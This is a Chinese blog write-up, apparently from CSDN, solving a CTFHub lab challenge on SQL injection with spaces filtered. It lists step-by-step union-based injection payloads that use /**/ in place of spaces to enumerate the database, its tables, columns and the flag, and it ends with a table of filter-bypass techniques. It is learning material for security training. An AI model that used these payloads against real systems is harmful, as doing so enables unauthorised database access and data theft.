• CTFHub | 过滤空格


     0x00 前言

            CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。

            

            

    0x01 题目描述

    过滤空格:

            (无)

    网页显示内容

            

            

    0x02 解题过程

            根据网页显示内容提示,这题关于过滤空格注入,此题和其他的注入手法一致,只不过需要在网页 URL 中对 payload 语句中的空格符号进行过滤,判断发现此题存在过滤空格注入,接着判断字段数量,查看数据库位置和版本。使用注入常用流程爆库、爆表、爆数据。最后获得此题 flag 。

            

    根据题目描述输入1,并构造payload and 1 = 1,发现页面提示Hacker!!!

    and 1 = 1

            

    根据题目提示需要对空格进行过滤,也就是payload语句中的空格需要使用字符进行过滤

    /**/and/**/1/**/=/**/1

            

    继续构造payload语句,发现等于2时回显错误,说明此题存在过滤空格注入

    /**/and/**/1/**/=/**/2

            

    直接使用order by 判断字段数量,从/**/order/**/by/**/1开始

    /**/order/**/by/**/1

            

    判断字段2,使用/**/order/**/by/**/2

    /**/order/**/by/**/2

            

    判断字段3,使用order by 3,这里无回显,那么字段数量为2列

    /**/order/**/by/**/3

            

    知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据

    /**/union/**/select/**/1,2

            

    判断数据可能不存在数据库中,在id=1中加入负号查看数据,其他符号也可以

    id=-1/**/union/**/select/**/1,2

            

    修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22

    /**/union/**/select/**/1,version()

            

    修改2为database(),查看数据库名,发现数据库版本为sqli

    /**/union/**/select/**/1,database()

            

    ⅩⅠ查看全部数据库名

    /**/union/**/select/**/1,group_concat(schema_name)from/**/information_schema.schemata

            

    ⅩⅡ在全部数据库名中发现sqli,最后在sqli数据库中发现lrfbovgrtq和news两个表名

    /**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'

            

    ⅩⅢ先查看lrfbovgrtq表中的全部字段名,发现一个数据名为ntzwkdyzie

    /**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='sqli'/**/and/**/table_name='lrfbovgrtq'

            

    ⅩⅣ查看数据ntzwkdyzie中的内容,发现此题flag

    /**/union/**/select/**/1,group_concat(ntzwkdyzie)/**/from/**/sqli.lrfbovgrtq

            

            

    0x03 常见过滤方法

    方法使用说明
    注释过滤/**/、/*!*/、//、#、--/**/union/**/select/**/1,2
    括号过滤()(union)select(1,2)
    符号过滤%00、%09、%20、%a0 %0a、%0b、%0c、%0d%a0union%a0select%a01,2
    引号过滤 ' 、 " union select '1', '2'
    大小写过滤大小写/**/UnIoN/**/SeLeCt/**/1, 2
    双关键字绕过'+'uni'+'on sel'+'ect 1,2#
    正则表达式绕过\s、\s*union\s+select\s+1\s*,\s*2

    注意:\s+ 表示匹配一个或多个空白字符,\s* 表示匹配零个或多个空白字符。

            

            

    0x04 总结

    文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。

  • 相关阅读:
    linux--gdb的使用
    YoloV5实时推理最短的代码
    GIS前端—Popup标注视图
    内存泄漏了~
    线程与进程的区别与联系
    Android sqlcipher 对于加密的Sqlite库在Mac上进行解密的正确姿势
    SwiftUI 中为什么应该经常用子视图替换父视图中的大段内容?
    考研模拟面试-答案【攻略】
    vue 面试题3
    快捷键记录
  • 原文地址:https://blog.csdn.net/m0_51191308/article/details/128172056